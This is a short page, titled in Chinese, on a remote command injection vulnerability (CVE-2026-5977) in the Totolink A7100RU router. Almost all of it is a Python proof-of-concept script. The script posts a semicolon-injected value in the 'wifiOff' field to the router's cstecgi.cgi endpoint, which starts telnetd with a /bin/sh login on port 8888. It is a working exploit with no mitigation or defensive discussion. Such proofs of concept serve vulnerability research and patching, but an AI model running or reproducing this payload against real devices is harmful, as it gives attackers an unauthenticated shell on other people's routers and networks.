CVE-2026-5977 Totolink A7100RU 远程命令注入漏洞

import requests # Target URL target_url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" # Payload to execute a command (e.g., telnetd or simple ping) # Using semicolon to chain commands payload = "; telnetd -l /bin/sh -p 8888" data = { "topicurl": "setWiFiBasicCfg", "wifiOff": payload } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.post(target_url, data=data, headers=headers, timeout=5) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") if response.status_code == 200: print("Command injection potentially successful.") except Exception as e: print(f"An error occurred: {e}")